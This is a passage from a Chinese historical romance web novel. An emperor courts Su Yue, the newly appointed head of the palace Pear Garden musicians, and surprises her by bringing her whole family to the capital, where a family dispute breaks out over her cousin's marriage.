话倒是挺会说,但无论怎么旁敲侧击她都装傻充愣。刚才明明那么好的时机,她只要?答一句对他有意?,他明日就可以在朝堂上宣布,准备迎娶皇后了。可惜她就像个实心的大鼓,怎么敲都没有回声,他不由感到气馁,答应太后立春之前娶亲的,这个承诺不知能不能兑现。 眼眸一转,“辜娘子,你可是二月里的生辰?”他好声好气打探。 苏月说可不,“春暖花开的好时节呀。” “那你明年二月就年满二十了,照着姑苏嫁女的习惯,不宜再蹉跎了,是么?” 其实辜家人对女儿成不成婚这件事,向来没有什么执念,遇见?好的嫁了,遇不见?好的常养闺中,也是小?事一桩。主要辜家上一辈的两位老姑母,婚后都很不幸,大姑母嫁了富商,娘家家底不如人?,被婆家看不起。二姑母的郎子隔灶饭香,爱与别?人?的妻子不清不楚,连好友房里的人都勾搭。二姑母临盆那日,他被人?捉了奸,寒冬腊月扒光了绑在院子里,差人?回家要?钱赎身。二姑母受了刺激大血崩,虽然?后来救活了,但月子里的病医不好,熬到二十八岁还?是死了。 有那么凄惨的先例,阿爹便与阿娘说,别?人?家的女儿娶进门,自家能尽心善待,自己的女儿送到人?家,好与不好都由人?家说了算,心里终归不踏实。所以要找个离得近,讲理的读书?人?,退一万步,这读书?人?要?是不上道,娘家出马还能揍他。倘或嫁给了武将,她那几位哥哥不够人家一指头,仔细掂量过拳脚手段毫无胜算,所以权家派来的媒妈妈一登门,阿爹的脑袋就摇成了拨浪鼓。 现在他又来刺探消息,梨园刚上手,何谈儿女私情! “不是说过么,我的婚事自己不能做主,得问过阿爹阿娘。”她尽可能地拖延糊弄,“等什么时候我得了空,回姑苏一趟,看看阿爹阿娘怎么说,再回来告诉陛下。” 她满以为?自己很高明,却不知道这个借口用不了几日了。辜家全族已经到了上都城外七十里,至多还?有两日就进城了。 皇帝心里大笑?三声,自觉胜利就在眼前,真?是迫不及待想看她目瞪口呆的样子。但眼下还?得按捺,遂故作深沉地点点头,“说得也是,父母之命媒妁之言,娘子是个守旧的人?,和朕一样。” 苏月看向他,总觉得和风细雨的外表下,藏着深不可测的阴险狡诈。可她不敢往深了探究,也不敢追问,天晓得他会蹦出什么惊人?的点子来。 反正今日被弹劾一事,也算圆满解决了。她受了御史台官员的挤兑,但罚俸并?未真?正实行,伤害并?不大。 “那臣这就回梨园了。”苏月道,“我要?回去重拟章程,彻底根治这个毛病。乐工虽苦,也要?自爱,不能让那些狗眼看人?低的言官拿住了把柄,以此贬低我们。” 皇帝也不相留,“去吧,朕等着看你整顿的结果。对了,你的那条巷道,朕让人?加了半边顶棚,如此暑天晒不着,雨天淋不着,走起来越发顺畅,你想见?朕时可以说走就走。” 苏月听?了,百感交集。平心而论,皇帝陛下是真?的尽心了,可是他的身份,却比当年的权家大郎更令辜家人?畏惧啊。 帝王的恩宠能维持多久,很难说。彼此相识不过半年,兴头上花好稻好,心都能掏出来,过上几年扪心自问,又后悔自己瞎了眼。她明白一个道理,得不到的才是最好的,与其将来被丢在一旁,不如做陛下心头的朱砂痣吧。一面占尽便利,一面自由自在,不比困守掖庭生孩子强多了。 祖传做生意?的头脑,清醒且能明确分?辨赚赔,苏月嘴里道着谢,预备退出乾阳殿。 皇帝含笑?,“朕送你到门上。” 心里可说是高兴坏了,对过两日局势的惊天逆转充满期待。 苏月见?他眉眼里都是舒称,实在不明白他到底在欢喜什么。他要?送,不能拒绝,便跟在他身旁迈出了乾阳殿,在他黏腻的目光下辞别?,只想脱身。 “朕真?是不忍与你分?开。”他忽然?说,“要?不然?你别?住在梨园官舍了,朕每日派小?轿过去抬你吧。” 苏月说:“陛下,君臣之间是不兴这样的。” 就知道她不会答应,这人?一副铁石心肠。皇帝只得作罢,又问:“外面日头这么大,你不曾打伞吗?” 万里来传话,她料想出大事了,心慌意?乱什么都顾不上,还?打什么伞。便摇摇头,“我耐晒,扛得住,陛下不必担心。” 皇帝左右的人?都极有眼色,话音方落,淮州就送来了一把油纸伞,“娘子路上撑吧,油纸底下垫了深绸,能挡雨也能遮阳,是陛下下令为?您特制的。” 苏月讶然?接过来,“陛下有心了。” 皇帝云淡风轻,“你在圆璧城办事,难免要?外出,这伞轻便易携带,可以伴你每个艳阳高照,和狂风暴雨的日子。” 苏月听?了,把伞撑开,见?柳青的伞面上画了一枝雨过梨花,地上还?有打落的零星花瓣。更玄妙的是花枝上端有落款,标注着做成的时日,及一枚鲜亮的朱砂印章。仔细看,落印是“政通”二字,政通是当下的年号,她就明白了,这画作必定是皇帝陛下的手笔,难怪他一副心高气傲的模样,也不说破,等着她来夸赞。 “陛下还?擅丹青?”她这回倒是实心实意?佩服他的,惊叹他的笔触这样精细,能将梨花的柔美刻画得淋漓尽致。 皇帝谦虚地微笑?,“朕文韬武略,虽然?靠双拳打下江山,琴棋书?画却也稍通。这画是朕为?你一人?所作,世上没有第二把了,你要?珍惜知道么,别?枉费了朕的心意?。” 苏月连连说好,“我竟有些舍不得用它,这么大的日头,别?把它晒坏了。”说着当真?把伞合起来,紧紧搂进了怀里。 皇帝一看,心火燎原,四外冒热气。她这么做,会让他浮想联翩,自己的精神?附着在了那把伞上,她搂的哪是伞,分?明是他啊! 细密的汗渗出鬓角,忽然?觉得好热,这七月的天气果真?不可小?觑。 忙乱中拉出手绢来擦拭,云绫在眼前飘来荡去,眼尖的苏月一下就认出来,这不是自己丢了的那块吗? 先前一直想不起来丢在哪里了,现在一见?才记起来,那回他病了,自己去徽猷殿照应,怕撤开热手巾后伤处受凉,她把自己的手绢盖在他胸口上了。后来不翼而飞,她也忘了,到这会儿才知道被他藏了起来,要?不是今日他露馅,怕是一辈子都找不回来了。 她的眼睛紧紧盯着,抬手想去够,那只手在他面前划拉,皇帝很疑惑,“你做什么?” 苏月指了指,“这手绢是我的……” 他不由一怔,“你的手绢……怎么会在朕这里?” 真?是个好问题,苏月道:“反正肯定是我的,别?问为?什么。要?是细究,定是您昧下的。” 面对她的笃定,皇帝恼羞成怒,“朕已经觉得很不好意?思了,你还?要?说得如此直接,难道是想让朕惭愧吗?” 苏月张了张嘴,最后还?是放弃了,想把手绢要?回来是不可能了,他喜欢就留着吧。 无奈地收回手,“我回去了哟。” 皇帝把手绢塞进袖子里,接过她的伞,打开又再递回去,“物尽其用如知人?善任,不闲置,就是最好的尊重。” 有时候想想,他确实是个很神?奇的人?,一面如少?年般执拗热血,一面又有帝王壮阔的心胸。时不时耸人?听?闻,又时不时令人?精神?振奋。 苏月握住伞柄,退后两步伏伏身,方才顺着台阶下去。这一路没敢回头,知道他一定在目送他,因为?两掖侍立的内监仍旧保持着垂首的姿势,这是皇帝在场时必须保有的敬畏。 走着走着,不知为?什么感到烦闷,他把自己弄得那么纯情做什么,快要?奔三十的人?了,一点都不决断。可是他的不决断,又好像只对自己,这阵子听?说安西府的都护已经被放回去了,可见?他的计划顺利实行了。他在政务上雷厉风行,对待她时粘缠了点,也不算太讨厌。 向北走,走到陶光园前时,苏月没有犹豫就转身登上了长廊。长廊尽头连着她的专用巷道,她要?去看看顶棚做成了什么样。从门上远眺,西边半侧果真?建起了廊道,成排抱柱根根直立,上面加了出檐,将这巷道分?割出了阴阳两面,以后往来确实会方便许多。 唇角慢慢仰起来,头顶有遮挡,脚边有灯火,一切都刚好。忽略了那人?的狂妄无聊,细微处的用心还?是很令人?感动的…… 不太妙,感动得太多,就不觉得他不是良配了。赶紧甩甩脑袋告诫自己,一定要?做让他求而不得的女郎。 方诸门外还?落着锁,走到尽头也进不了圆璧城,于是她重新折返通过玄武门,仍旧走青龙直道。手上的伞,撑出了一片阴凉,连阵阵蝉鸣也离她很远似的,这就是有人?擎天的感觉啊。 只是回到梨园,心情就变得沉重了,把管事的人?都叫到面前,御史台弹劾的内容向他们转述了一遍,最后问:“诸位可有什么高见??” 太乐令长叹,“我就知道,过于宽待必会引发内乱。不是说大娘子不该善待他们,实在是不加约束,势必有人?趁机作乱。” 太乐丞道:“卑职传令下去,自今日起所有乐工都须服从分?派,还?如以前一样。” 苏月问:“若果真?在那些府邸遭受了不公,又该怎么办?” 太乐令道:“朝廷不是颁布了政令吗,若有亵玩乐工着,轻则丢官罢爵,重则下狱流放,还?有什么可怕的?” 可苏月自己做过乐工,知道界定的艰难,“逼着你喝一杯,算不算亵玩?单独传见?要?你奏曲,两眼在你身上巡视,算不算亵玩?” 众人?面面相觑,一时间也没有什么好主张了。 苏月沉吟良久道:“设立巡检吧,派遣到各个府邸的乐工万一被轻慢,立时就能回禀巡检,记录在案。每家赴邀的乐工少?则三五,多者一二十,总不见?得人?人?被欺凌。受了委屈的下次可以免于应邀,一切如常的须得服从调遣,陛下早前和我说过,没有规矩不成方圆,是我疏忽了。从今往后还?是得有章程,若想人?敬你,先得自尊自重。乐工们都是吃朝廷俸禄的,主家有赏是意?外之财,倘或变成恶意?的索取,那就对不起陛下的宽宥和栽培了。” 众人?合计了下,觉得这个主意?很好,梨园每天都有一二十个邀约,每一处都派官员押队,实则是不现实的。如果设了巡检,定时走遍这些门第,遇上不公把经过说清楚,事后再行核实。梨园之中唯有受辱是头一等的大事,因赏钱少?便借故推脱,一经发现要?受重责,以前那些处罚的手段,至今仍旧令人?闻风丧胆。 这厢议准了,照着规章实行下去,接下来果然?再也没人?合起伙来挑肥拣瘦了。苏月开始预备全心应付过两天的中秋大宴,《霓裳羽衣曲》曲破那段,从男部里挑选了十六人?跳软舞。身姿柔软的儿郎们穿着轻如烟霞的缭绫翩翩起舞,聚在一起旁观的前头人?看得花枝乱颤,指指点点这个健美,那个舒展。 颜在抱着胸发表意?见?,“这缭绫太素,看上去有些寡淡,莫如在鬓边簪一枝蜀葵吧,又大又红又奔放。” 女郎摆弄起男子来,也是很有想法的。苏月觑觑她,以前谨小?慎微的朱娘子如今两眼放光,蓬勃的想象力?都快顶破天灵盖了。 正当她打算同?大家商议一下,该给舞者身上加些什么配饰的时候,见?国用从外面进来。边走边朝场上探看,笑?着说:“娘子正忙呐?” 苏月拱了拱手,“班领来了,陛下有吩咐吗?” 国用说没什么吩咐,“让奴婢来接娘子而已。” “接我?上哪儿去?”她嘴里问着,手里的曲谱已经递给了颜在。 国用掖着两手,笑?得神?秘莫测,“娘子莫问,跟奴婢走准错不了,到了那里自见?分?晓。” 第 50 章【VIP】 第50章 第 50 章 苏月不明就里, 但还是跟随国用走了。原以为皇帝召见她,应当往南去,没想到被领着一路向北, 到了龙光门上。 穿过深深的门洞, 便见外面停着一辆马车, 她愈发迷糊了,难道是要?出宫, 到城内去逛逛? 她没有上车,走到窗前撩了下窗帘, 果然见里面坐着一个人, 便道:“陛下,我忙得很呢,要?是出去吃喝玩乐, 我就婉拒了。” 所以女郎有事业, 实则也不是多值得快乐的一件事, 因为很容易遭到冷落。而且她的胆子真的很大,连皇帝陛下亲自驾临她都能推辞, 下回要?是派人传话,恐怕她就要?抗旨不遵了吧! “上来。”皇帝寒声道,“朕在你眼里, 难道是只会吃喝玩乐的人吗?朕来找你, 必定是有要?事, 就算没有要?事,你也不能不奉陪。” 话都这么?说了,看来打不了一点商量, 苏月只得在国用的搀扶下登上车,提着裙裾嘀咕:“我忙了一整日, 怕身?上的汗味熏着陛下。” 皇帝道:“朕不嫌弃你,再说你御前失仪也不是一回两回了,朕若是同你计较,不光你,你们整个辜家都要?被你连累。”说着又很好心地提点她,“日后可?要?小心行事了,毕竟有家有口,不能冒冒失失,心里只想着自己。” 苏月觉得这人怪得很,又说这些莫名其妙的话来威胁她。远在姑苏的家人还要?被他?利用,实在是没天理。 她不答话,皇帝敏锐地觉察了她的腹诽,也不生气,豁达地笑了笑。 苏月朝外面看,马车笃笃穿街过巷,也不知要?去哪里。在梨园的这些日子,她倒也经?常外出,但上都实在太大了,很多地方?她都没去过,也不大认得路。 扭回身?问:“陛下,莫非您要?带我去齐王宅,与齐王会面吗?” 苏月有时候也很佩服自己的脑筋转变之快,毕竟和?他?打了这么?长时间的交道,越是剑走偏锋,越符合他?的作风。 可?惜猜错了,皇帝凉笑,“有想法很好,但不能异想天开。权弈平时需要?静养,我带你去打搅他?,这是我身?为阿兄该做的事吗?” 猜不着,苏月便放弃了。无聊地转过头张望,马车穿梭在里坊之间,前面就是最大的集市。落日余晖照亮了半边城池,上都的夜市就要?开场了。如今天气热,白天街市上几乎没什么?人,都等太阳落了山才出门。 早前她刚来上都的时候,民生还没恢复,大街小巷蔓溢着一种苦中作乐的味道。现在再看,人们脸上的神情变得从容了,可?见一个安定的王朝能让百姓脱胎换骨。这大多时候很让人讨厌的权家大郎,恍惚让她感受到了什么?叫与有荣焉。 “南市和?北市,还要?大加发展。”他?对?她描绘起了将来的规划,“洛阳城营建好后,朕打算迁都关中,到时候建一个更大的梨园,让你呼风唤雨。” 阔建梨园当然让人欢喜,但迁都可?不是小事。苏月别的不知道,只知道太过劳民伤财,不解地问:“这里不好吗?前朝定都在这里,造了这么?大的紫微城,花费的钱财不计其数,做什么?白放着不用呢?” 皇帝却有他?的道理,“洛阳安逸,朕也知道,但此?间不是长治久安之地。田土贫瘠,四面受敌,若是诸侯有异动,城池很难固守。朝堂上为迁都的事争执了很久,新?都选址定不下来,朕心里却有主张。” 苏月是小女郎,这辈子走过的地方?,除了姑苏就是上都。不知道关中在哪里,更不知道所谓的关中有什么?殊胜之处,满脸迷茫地望着他?。 他?便前倾着身?子,向她仔细描述,“关中沃野千里,左有崤函,右有陇蜀,阻三?面而守,独留一面东制诸侯,如此?京师稳如泰山,国家有了根基,才不会像前朝一样?随波逐流。朕知道迁都耗费巨万,营建一座宫城会掏空国库,但朕并不认为这是朕的一时兴起,反倒是建立万世基业的长远举措,能保我大梁后世子孙不受外敌来犯。朝堂上有人反对?,提起动用国库就瞻前顾后,万般不赞同,朕其实也犹豫过,不知究竟该不该执意这么?做。迁都与乱世再起,究竟孰轻孰重,朕想听听你的意思。” 苏月心道陛下您可?真是高看我,和?我讨论起国家大事来。没有接触过政事的女郎,只有一个最直接的看法,“百姓历经?了三?年动荡,再也经?不起烽烟了,陛下若想好了此?举能保国家安定,那就去做。只不过大梁方?建国,元气还未恢复,千万不要?在此?时让百姓受徭役之苦。除此?之外,就再也没有别的要?求了,陛下可?自行定夺。” 皇帝听了她的话很高兴,“你若赞同朕,朕就没有顾虑了。你放心,立国三?年不兴土木,这是早就想好的。回去朕就让尚书省记录在册,梨园使规劝朕轻徭役,容百姓休养生息……朕发现你这人心中有大局,且事事以百姓为先,不来做朕的皇后,实在太可?惜了。” 最后这句话是脱口而出,连他?自己也没想到,就这么?把心事说漏了嘴。 惊惶地看看她,不知她会作何反应,她果然也怔住了,抿着唇半晌没有说话。 苏月并不愚钝,就比如他?一再让人把她的话记录在册,如此?良苦用心,她哪能不知道他?的想法。可?是在掖庭的那些日子,回忆起来还是感觉憋闷得很,现在能够为梨园乐工能做些实事了,为什么?又要?被那个头衔困住手脚? 当上皇后,也许对?很多女郎来说是最高的目标,对?她来说却不是。 不过气氛属实是很尴尬,她偏头朝外看了一眼,忽然发现了街边的小摊,顿时“唉呀”了声,“恬乳花酪,自从离开姑苏就没再吃过。”边说边招呼国用,“班领停一停,让我下车。” 国用忙勒住马缰,回身?道:“何须娘子下车,卑下买来就是了。” 国用去了,很快就举着两只装着花酪的竹筒回来,十分?娴熟地取出银针验过毒,送到了车内人的手上。 皇帝拿手托着,暗道这国用是老糊涂了吗,还给他?买了一盏。这种甜食只有女郎喜欢,他?是堂堂的一国之君,躲在车里吃这个,怕会被她取笑一辈子。 苏月想的却远没有他?多,挖了一匙填进?嘴里。这花酪拿冰湃过,入口即化?,让她想起了姑苏的年月。 “吃呀,做什么?不吃?”她催促他?,“这可?是拿钱买的,化?了多浪费,别和?钱过不去。” 皇帝没办法,低头尝了一口,不得不说,女郎喜欢的东西果真挺好吃。这就是遇见了不一样?的人,体验另一种不一样?的人生。他?要?掺合进?她的小别致、小情调里,并且愈发对?她的丝棉褥子心生向往了。 马车还在往前赶,天色也渐渐暗下来,苏月随口问了句,“咱们去哪个里坊?” 外面赶车的国用回话,“永丰坊,就在南市前面,马上就到了。” 苏月不疑有他?,一心还在她的花酪上。吃得差不多时才惊觉,自己不知什么?时候和?边上的人这么?相熟了,当着他?的面舔唇舔勺子,居然一点都没觉得有什么?不对?。似乎女郎的端庄典雅只有在别人面前才需要?伪装,和?他?这么?不见外,不知是因为太放松,还是因为完全不在乎他?的看法。 摸摸前额,也说不上来自己是怎么?想的。不经?意朝外瞥了一眼,见前面有所大宅子,宅邸门前站了很多人,碍于?天色昏沉,看不太真,但那隐约的身?形,为什么?看上去那么?眼熟呢…… 她忽然被拿捏住了全部精神,心头不由大跳起来,总觉得那些身?影像自己的亲人。 手里的花酪已经?顾不上了,她探出身?子,急急朝外张望。马车越走越近,终于?看清了,她不敢置信地回身?看他?,见他?含着笑,一副志得意满的模样?,就知道这一定是他?的手笔,他?把她的全族都接到上都来了。 “陛下。”她颤声道,“你怎么?这么?好……” 皇帝以为她为表感激,不说狠狠亲他?,投怀送抱一下不为过吧。他?也做好了准备,准备迎接她暴风雨般的狂喜,结果是他?想太多了。她把竹筒塞进?他?手里,迫不及待跳下车,忙于?和?她的家人们团聚去了。 那厢苏月又哭又笑,抱住母亲不肯松手,“阿娘……阿娘,我每日都在想您。您快掐我一下,让我知道不是在做梦。” 辜夫人抹着眼泪发笑,“傻孩子,怎么?还是这糊涂模样?!不用掐了,不是在做梦,我们当真来上都了。” 商贾之家的孩子,很重视生意,苏月问:“咱们家那些铺子可?怎么?办?” 辜祈年道:“全盘出去了。虽亏了些,好在亏得不多,并不为难。” 后顾无忧,终于?放心了。苏月仔细看看母亲,紧紧靠在辜夫人肩头嘟囔:“我原想今年年尾设法回去看您的,不想你们竟到上都来了。”一面抬眼问父亲,“阿爹回去就着手操办这件事了么?,来得好快。” 辜祈年说是啊,“陛下那日见了我,说怕你在上都孤寂,因此?恩赏了宅子和?铺面,让我们都迁到上都来。”边说边嗟叹,“如此?大恩大德,不知应当怎么?报答才好……” 虽然并未明说拿这些来聘苏月,但大家心中都有数,哪里来莫名其妙的恩典。既然接受了,拿人的手短,这事大致也就敲定了。 苏月倒没有这方?面的困扰,与家人团聚了,怎么?都成,至于?会引发什么?后果,以后再说吧。 复又快快活活和?兄弟姐妹们叙旧,向族人亲眷们行礼。心里感慨皇帝办事的能力,辜家迁来的不仅是自己一家,连较为亲近的堂叔们也一同来了,往后还有什么?道理想家。 三?叔一家人这时往前挤,追着苏月问:“苏意眼下怎么?样?,她没有随你一同来吗?” 众人朝马车方?向看过去,这才发现马车内还坐着个人,一时纳罕,总不见得是苏意吧! 车内的皇帝见辜家人都朝这里望过来,心里顿感紧张。还记得权家提亲被拒,自己这回出现,即便带着荣耀回来,也还是担心会被继续挑剔。所以苏月下车,他?没好意思跟上,如今暴露在众目睽睽之下,背上不由起了一层薄汗,犹豫再三?,才迟迟从车上下来。 苏月抽空回应,“苏意已经?不在梨园了。她与廪牺署令两情相悦,被白令接出去了。” “什么??”三?婶怪叫,“一个未出阁的女郎,就这么?被人接走了?” 这时候没人在意三?房的不平,辜家所有人都趋步上前,看清了手里握着两截竹管的人,辜祈年肃容振袖长揖下去,“辜氏一门,恭请皇帝陛下长生无极。” 众人拜伏,神情庄重,举止恭敬。皇帝说免礼,把手里的竹筒交给国用,这才浮起弘雅的笑意,上前与辜祈年攀谈,“辜翁一路上可?还顺利?没有遇见哪个州府有人刁难吧?” 原本一大家子迁徙,只要?不是逃难,总会遇见各种各样?的麻烦。但这回却是万万分?地顺利,连家主预备好上下打点的银钱,也没有花掉分?毫。 辜祈年说,“每到一处,都有当地县丞接应,替我们安排好吃住。卑下知道,定是陛下的恩典,让我们一路畅行无阻。” 皇帝点了点头,“路上顺遂就好。脚程比朕预期的快了半个月,赶在中秋之前入上都,正好一家过个团圆节。” 他?平易近人,半点没有皇帝的架子,由不得让辜夫人多看了几眼。 早前家主回来说见了陛下,倒也夸赞过样?貌周正,辜夫人脑子里便浮现出一个膀大腰圆,长着浓眉大眼络腮胡的国字脸。如今见到了真人,他?穿着玄色的上衣,下着朱红的长裳,一条饕餮纹的宽腰带束出细腰,虽然身?量那么?高大,却半点不显得粗笨,就是个大了一圈的儒雅读书人模样?。 真真惊异,当初来提亲的权家大郎,竟然长得这样??身?条那么?好,眉眼也好看,这么?一打量,和?苏月很是相配啊。 “快别站在外头说话了,多失礼!”辜夫人扯扯丈夫的衣袖,“迎陛下进?去坐呀。” 辜祈年忙哦了声,笑道:“糊涂了,一见着孩子,便什么?都顾不上了。”边说边比手,“陛下快请进?。蒙陛下费心,我们一来事事都是现成的,不用自己动半点手,有陛下看顾着,在上都立足便不是难事了。” 皇帝在辜家人面前还是知礼内敛的,和?煦道:“铺面上的事,朕已经?命人吩咐武侯多加照应了。辜翁开的是质库,难免会遇上形形色色的人,天子脚下法度虽严明,也有顾及不到的地方?,让南北市的武侯铺护持,比吩咐大都府强。” 辜祈年连连说是,大人物哪能时刻关注这些鸡毛蒜皮,直接管理街市的武侯才是最为实用的。皇帝的寸步体谅本已令人很感动,没想到落脚之后被告知,全族五户人家都分?派了府邸和?铺面。但凡是姓辜的都能分?一杯羹,这份大礼砸下来,横是什么?都别说了。 皇帝被众星拱月一般,推到了上座坐定,众人都显得拘谨而谨慎,个个掖着手,一时不知该说什么?好,难堪地交换了眼色,都干干笑了。 皇帝舒展眉目,温声道:“前事不再提了,大家不要?见外,与朕寻常相处吧。”说着招呼苏月,“小娘子现在的境况,不与家里人说说么??” 正忙于?和?妹妹阿嫂唧唧哝哝说话的苏月被点了卯,方?才骄傲地告诉父母,“阿爹阿娘,陛下把梨园交给我了。从今往后梨园子弟再不会受人欺负,被召入梨园,也不是灭顶之灾了。” 这等忽来的消息,让全家人震惊不已,“苏月可?是当上女官了?苍天,祖坟上冒青烟,家里竟有人走仕途了。” 所有人都很高兴,只有三?房热锅上的蚂蚁似的,点灯熬油熬到苏月离开皇帝视线,三?婶才拽她到一旁,语调里颇有责备的意思,“你当上了梨园使,按理是能做主的,怎么?放任阿妹被人接走了?苏意年纪小,什么?都不懂,你是做阿姐的,合该替我们看顾她才是啊。” 他?们不知情由,有这疑虑不足为怪。眼下全族都在,这种家丑宣扬得人尽皆知不太好,苏月是想替他?们保全颜面的,便道:“苏意和?那位白令生死相许了,央告我成全她,我也不便阻止。好在白府就在淳风坊,离这里不算太远,明日阿叔和?阿婶可?以去看看她,见到她就什么?都明白了。” 听得三?房两口子直愣神,要?发作又忌惮皇帝在场,压声道:“她有爹娘,这种大事不用听父母之命吗?你虽是阿姐,却也不能作这么?大的主,看着阿妹无名无分?去了人家府上,你还说不便阻止?” 苏月仍在安抚他?们,“已经?拟定了要?成婚,正好二位来了,明日可?以与白家仔细商议。” 那厢已经?组了茶局,阿嫂招呼他?们来 坐,苏月想去却脱不了身?,被三?婶拽住手臂,兴师问罪般晃动,“这就要?成婚了?成什么?婚,谁答应了?” 众人都朝他?们看过来,不知进?退的三?房夫妻脑子一热,觉得这是家务事,若是皇帝要?过问,也可?以让皇帝陛下来评评理。 苏月的好耐性已经?用完了,无奈道:“苏意的脾气,阿叔和?阿婶难道不知道吗?必定是有因有果,我才容她被人接走的。” 三?叔大约意识到了什么?,不再说话了,三?婶却不依不饶,“她是个一根筋,所以才要?你做阿姐的多多照拂……她是什么?时候被接走的?不成,我等不了,即刻就要?把她接回来,你若不能带我们去,就找个人给我们带路吧。” 苏月被他?们弄得不胜其烦,“明日再去吧,白天更好说话。” 可?三?婶不肯罢休,心里未尝不存着嫉妒。苏月光宗耀祖跟了皇帝,而自家女儿还未成婚就住进?人家府里,这不是苏月这个做阿姐的看顾不力吗,甚至说得更恶劣些,分?明就是有意坑害了苏意。 “你为何不告知实情呢。”皇帝看不过眼了,站起身?道,“都是自家人,不会有人存心笑话的。况且要?筹办婚事,大家也该知情。” 苏月被他?这么?一说,努力守住秘密的信念顿时土崩瓦解,也不管三?叔夫妇怎么?想了,直撅撅道:“苏意和?白溪石暗通款曲,怀了私孩子,白溪石推诿搪塞,又害得她滑了胎。我本想劝她放弃,干脆去大都府告白溪石一状,可?苏意还是执意要?嫁他?,我也没办法,只好逼白溪石向衙门递交了文?书,把苏意接回去养身?子了。” 50-60 第51章 第 51 章 这?不?就是自取其辱吗, 别人要替他们周全脸面,他们偏不?领情?。这?下把老底都揭穿了,三房夫妇如遭雷击, 愕在那里?久久回?不?过神来。 过了好一会儿, 三婶终于迸发出哭声, “这?个不?要脸的东西,你怎么不?替我们打死她!老天爷, 阖家?的脸都被她丢光了,亏我一路上?都在惦念她, 没想到她这?么不?争气, 早知如此就不?该生下她。” 众人都讪讪,刚到上?都就迎来这?么个好消息,实在不?知该哭还是该笑。 还是皇帝会劝人, “郎子是四品官, 嫁了倒也不?算辱没。再说患难见?真情?么, 日后定会恩爱的。” 苏月笑得尴尬,心道可不?是患难见?真情?, 白溪石都被她打得满脸花了,不?情?不?愿地答应娶苏意?,若是能恩爱, 必定是怕再次挨打。 众人看?三房下不?来台, 便也尽力劝慰, “陛下说得很是,只要婚后能好好过日子,婚前有些坎坷也不?算什么了。明日去郎子家?好生商议昏礼事宜, 早些把婚期定准了,自家?也好操办。” 三婶哭得打噎, 捂着脸说:“我还有什么脸……都好好的,只我家?现世报出了这?样的纰漏……” 苏意?的长兄,在族中排行老六,也是个猛头?猛脑的人。拧着眉斥责母亲,“别哭了,搬到上?都是高兴的事,哭成这?样不?嫌晦气?苏意?是要嫁人,不?是死了,收尸也没你这?么嚎的。” 辜祈年见?体统全无,尴尬地向皇帝致歉,“家?里?乱了章程,让陛下见?笑了。” 皇帝倒很大度,“家?家?都有家?务事,在朕看?来寻常不?过,辜翁不?必周全。” 苏月的母亲早就见?惯了三房的鸡飞狗跳,他们家?出点什么奇人异事都是正常的,因此注意?力全不?在他们身上?,只顾招呼皇帝,陛下喝茶,陛下吃点心。 苏月被他们吵得脑仁疼,忍耐再三才道:“时候不?早了,阿叔阿婶们连日奔波,必定累了,都回?各自府里?歇息吧。这?阵子梨园有事要忙,我抽不?出空来,等得了闲再去拜访。到时候大家?好生聚一聚,我领了月俸,请大家?吃席。” 辜家?的人,除了三房之?外,都是知情?识趣的。人家?父母儿女要团聚,所有人都戳在这?里?,毕竟不?方便。于是纷纷辞别,去认自己的府邸了。 待人一走?,辜夫人才对皇帝道:“我家?三房的甚是疙瘩,陛下纡尊驾临,他们失态至此,我们也很难为情?。望陛下不?要放在心上?,除了他家?,余下的人都很好,也感念陛下的恩典,都说要供长生牌位替陛下祈福呢。” 皇帝笑着说:“好意?心领了,家?里?供着这?个,实在有些吓人。朕只盼能解了娘子的思乡之?情?,让她潜心为朕管理梨园,就别无所求了。” 可是皇帝为了找人给他办差,用得着这?么兴师动众,又送房子又送铺面吗?大家?其实心知肚明,但没有得到苏月的首肯,家?里?人断乎不?会随意?应允什么。所以到最后也只是打打马虎眼,要紧的态一个都没表,在一片热热闹闹款待大人物的恭敬态度中,皇帝陛下亲临寒舍这?一活动,就接近尾声了。 待要出门,全家?都来相送,苏月因有职务在身还得返回?梨园,最小的苏雪探身说:“阿姐,你的屋子已经预备好了,照着以前的卧房布置的,往后每日我还给你打扫。” 年少的苏雪,没有什么能为阿姐做的,认准了打扫屋子这?个差事不?放松,谁也不?能和她抢。 苏月抿唇一笑,还是自家?的阿妹,怎么看?都比别人讨喜。 苏云问:“阿姐每日能回?家?住吗?” 这?个问题事关重?大,皇帝也调转视线望向她,提心吊胆等着她回?答。 苏月犹豫了下,没有给确切的答复,含含糊糊道:“再说吧。反正现在离得近,我想回?来的时候就能回?来。”复又对母亲撒娇,“我想吃阿娘做的香翠鹑羹,等我下次回?来,阿娘为我下厨吧。” 辜夫人说好,抬手抚了抚她的脸,依依不?舍道:“原本还担心你瘦了呢,不?想气色看?上?去很好,这?样我就放心了。” 苏月笑得爽朗,“我在梨园如鱼得水,每日有自己想做的事要去做,再不?是脑袋空空的了。如今家?里?人又都来了上?都,我没有遗憾了,心里?一高兴,可不?红光满面吗。” 说得父母都笑了,心里?那根悬着的丝线也渐渐松泛,没有什么比过得自在更要紧的了。 辜祈年郑重朝皇帝拱起手,“陛下对辜家?有再生之?恩,小女能得陛下看?顾,辜某心中的感激无以言表,请受辜某一拜。” 这?一拜自然没能实行,皇帝忙抬手架住了。让老泰山对自己叩拜,除非是不?想娶人家?女儿了。 他笑得和颜悦色,“都是不?足挂齿的小事,辜翁千万不要客气。姑苏虽然富庶,终归是小地方,辜翁的生意?要做大,还是来上都更有前景。” 辜祈年连连说是,把人送到马车前,目送皇帝与苏月坐进了车舆内。 国用甩着马鞭,驾马朝巷子那头?去了,辜夫人收不?回?视线,喃喃说:“深更半夜,男女同乘,恐怕于礼不?合啊……” 辜祈年叹了口气,“这?事难办,往后就看?苏月自己的了。不?过我瞧她,好像也不?反感那权珩。” 辜夫人说:“要死,直呼人家?的名字,日后脱口而出,擎等着杀头?吧。” 辜祈年笑了笑,“这?不?是背着人么。”复又叮嘱站在身后的儿女们,“你们可得留神,小心祸从口出。” 一窝老实孩子,都讪讪应了。 马车已经走?到巷口,就要拐弯了,辜夫人惆怅不?已,“怎么觉得女儿像回?门似的,还没说上?几?句话,就要跟着郎子回?家?了。” 那厢坐在马车里?的皇帝直觑苏月,“你日后不?会天天回?家?住吧。” 苏月说怎么了,“回?家?住不?是应该的吗,朝中的官员下了职都回?家?。” 皇帝说:“你与朝中官员不?同,梨园上?千号人,时刻会有要紧事,你若不?在圆璧城坐镇,他们就没有主心骨了。况且……”他别扭地说,“朕还专程给你开辟了一条通道,防止你夜间要见?朕。这?要是回?家?住了,这?条巷道岂不?是荒废了吗。朕让你全族入京,可不?是为了搬起石头?砸自己的脚。” 其实苏月明白他的小心思,皇帝陛下的用心良苦,她感受到了,自然不?能做个过河拆桥的人。 